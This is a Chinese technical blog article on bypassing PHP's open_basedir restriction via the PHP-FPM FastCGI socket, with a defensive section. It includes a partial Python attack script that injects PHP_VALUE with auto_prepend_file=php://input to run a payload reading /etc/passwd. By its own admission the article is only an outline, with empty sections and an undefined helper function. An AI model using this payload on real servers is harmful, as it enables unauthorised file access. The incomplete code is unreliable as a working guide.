怎么利用PHP-FPM实现绕过open_basedir

发布时间:2021-08-09 21:50:04 作者:chen
来源:亿速云 阅读:231
# 怎么利用PHP-FPM实现绕过open_basedir

## 前言

在PHP安全配置中,`open_basedir`是一个重要的安全机制,用于限制PHP脚本只能访问指定目录及其子目录的文件。然而,在某些特定场景下,攻击者可能利用PHP-FPM(FastCGI Process Manager)的特性绕过这一限制。本文将深入探讨这一技术原理、利用方法及防御措施。

---

## 目录
1. [open_basedir机制概述](#1-open_basedir机制概述)
2. [PHP-FPM基础与工作原理](#2-php-fpm基础与工作原理)
3. [绕过open_basedir的技术原理](#3-绕过open_basedir的技术原理)
4. [具体利用方法](#4-具体利用方法)
   - 4.1 [环境搭建与复现](#41-环境搭建与复现)
   - 4.2 [利用PHP-FPM的FastCGI协议](#42-利用php-fpm的fastcgi协议)
   - 4.3 [通过UNIX Socket通信](#43-通过unix-socket通信)
5. [漏洞利用的实战案例](#5-漏洞利用的实战案例)
6. [防御与缓解措施](#6-防御与缓解措施)
7. [总结](#7-总结)

---

## 1. open_basedir机制概述

`open_basedir`是PHP中用于限制文件系统访问的配置指令,其作用包括:
- **目录隔离**:限制PHP脚本只能访问指定目录及其子目录。
- **安全防护**:防止目录遍历、文件包含等攻击。

### 配置示例
```ini
open_basedir = /var/www/html:/tmp

限制范围


2. PHP-FPM基础与工作原理

PHP-FPM是PHP的FastCGI进程管理器,常用于Nginx等Web服务器。其核心特性包括: - 进程池管理:动态分配PHP解释器进程。 - FastCGI协议:通过Socket(UNIX或TCP)与Web服务器通信。

典型配置(Nginx)

location ~ \.php$ {
    fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    include fastcgi_params;
}

关键安全问题


3. 绕过open_basedir的技术原理

核心思路

通过PHP-FPM的FastCGI协议直接传递恶意参数,绕过Web层的open_basedir限制。

技术依赖

  1. PHP-FPM暴露:可通过UNIX Socket或TCP端口访问。
  2. 可控的FastCGI参数:如PHP_VALUEPHP_ADMIN_VALUE
  3. 配置错误:如open_basedir未覆盖/proc/self/等特殊路径。

攻击流程

  1. 构造恶意FastCGI请求,修改PHP配置。
  2. 利用chdir()ini_set()动态调整open_basedir
  3. 访问受限文件(如/etc/passwd)。

4. 具体利用方法

4.1 环境搭建与复现

目标环境

漏洞验证

检查PHP-FPM Socket是否可写:

ls -l /var/run/php/php7.4-fpm.sock

4.2 利用PHP-FPM的FastCGI协议

攻击脚本(Python示例)

import socket

payload = """
<?php 
    ini_set('open_basedir', '..');
    chdir('/');
    ini_set('open_basedir', '/');
    echo file_get_contents('/etc/passwd');
?>
"""

fcgi_request = {
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'REQUEST_METHOD': 'POST',
    'CONTENT_LENGTH': len(payload)
}

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/php/php7.4-fpm.sock")
sock.send(pack_fcgi_request(fcgi_request, payload))

4.3 通过UNIX Socket通信

关键步骤

  1. 通过PHP_VALUE注入PHP配置。
  2. 利用php://input执行任意代码。
  3. 递归跳出open_basedir限制。

5. 漏洞利用的实战案例

案例1:通过TCP端口暴露PHP-FPM

案例2:Docker环境下的权限问题


6. 防御与缓解措施

安全配置建议

  1. 限制PHP-FPM访问
    
    fastcgi_pass unix:/run/php/php-fpm.sock;
    
  2. 严格设置open_basedir
    
    open_basedir = /var/www/html:/tmp
    
  3. 禁用危险函数
    
    disable_functions = exec,passthru,shell_exec
    

监控与审计


7. 总结

本文详细分析了通过PHP-FPM绕过open_basedir的技术原理、利用方法及防御措施。这种攻击方式依赖于服务配置不当和协议特性,运维人员应重点关注: 1. PHP-FPM的隔离性。 2. open_basedir的覆盖范围。 3. 最小化FastCGI参数传递。

通过合理配置和持续监控,可以有效降低此类攻击的风险。


附录

”`

注:实际内容需根据技术细节补充完整代码示例和调试过程,此处为提纲式框架。

推荐阅读:
  1. require(): open_basedir restri
  2. lnmp 环境require(): open_basedir

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php

上一篇:ThinkPHP控制器的详细介绍

下一篇:php怎么实现画图功能

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》